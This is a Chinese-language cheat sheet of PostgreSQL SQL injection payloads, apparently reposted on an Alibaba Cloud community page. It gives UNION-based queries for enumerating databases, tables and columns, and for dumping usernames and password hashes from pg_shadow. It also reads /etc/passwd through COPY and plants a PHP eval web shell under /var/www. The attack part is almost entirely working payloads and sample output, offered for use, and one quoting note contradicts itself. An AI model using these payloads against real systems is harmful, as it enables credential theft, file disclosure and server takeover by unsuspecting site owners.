Postgresql注入文法指南

來源:互聯網
上載者:User

在注入中常用的幾個注入文法通常有這麼幾個: --顯示版本 --從已知表段欄位爆資料 --列庫 --列資料庫中的表段 --列表段中的欄位 --讀取配置資訊,例如資料庫登陸賬戶和密碼 --讀寫檔案 那我就一個一個來講這些Postgresql的文法是怎樣的
--顯示版本

  1. select version();
  2. union select 1,2,...n,version()
  3. //version()函數與MySQL的是一樣的

###########################################################################################

回顯資料舉例: PostgreSQL 8.1.18 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-46)
--從已知表段欄位爆資料

  1. select aa from bb where cc=dd;
  2. union select 1,2,....n,aa from bb where cc=dd
  3. //所有的SQL文法幾乎都是這樣的文法來爆資料

###########################################################################################

無舉例
--列庫

  1. select datname from pg_database;
  2. union select 1,2,....,n,datname from pg_database;

###########################################################################################

回顯舉例: postgres,prc,template1,template0
--列資料庫中的表段

  1. select relname from pg_stat_user_tables limit 1 offset n;
  2. //類似於MySQL中的information_schema.tables,雖然不大恰當
  3. union select relname from pg_stat_user_tables limit 1 offset 3;
  4. //limit 1 offset 0和MySQL的limit 0,1一個效果。

###########################################################################################

無舉例
--列表段中的欄位

  1. select column_name from information_schema.columns where table_name='xxx' limit 1 offset n;
  2. union select 1,2,.....,n,column_name from information_schema.columns where table_name=0x3a limit 1 offset 5

###########################################################################################

//同MySQL
--讀取配置資訊,例如資料庫登陸賬戶和密碼

  1. select usename,passwd from pg_shadow;
  2. union select 1,2,...n,usename,passwd from pg_shadow
  3. //pg_shadow資料庫類似於MySQL中的mysql資料庫

###########################################################################################

root賬戶為postgres 回顯舉例: postgres 9d2e7638fd7c7e433f0074a8f65cfd3a
--讀取檔案

  1. create table test(code text);
  2. copy test from '/etc /passwd'with delimiter E'\t';
  3. (註:網上多數關於Postgresql的語句中是雙引號,實際測試,8.x到9.x雙引號無效,應該用雙引號)

###########################################################################################

回顯舉例: Query failed: ERROR: extra data after last expected column CONTEXT: COPY file, line 1: "root:x:0:0:root:/root:/bin/bash"
--寫入檔案

  1. insert into test values ('<?php eval($_POST["cmd"];?>');
  2. copy test(code) to ”/var/www/one.php”;

###########################################################################################

回顯舉例: Query failed: ERROR: could not open file "/var/www/html/aaa.php" for writing: Permission denied pg_file_read()不如MySQL中的load_file()那麼好用 例如:

  1. select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));

###########################################################################################

則回顯: Query failed: ERROR: function pg_file_length("unknown") does not exist HINT: No function matches the given name and argument types. You may need to add explicit type casts.
Postgresql我也不是特別熟,所以寫到這裡。

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.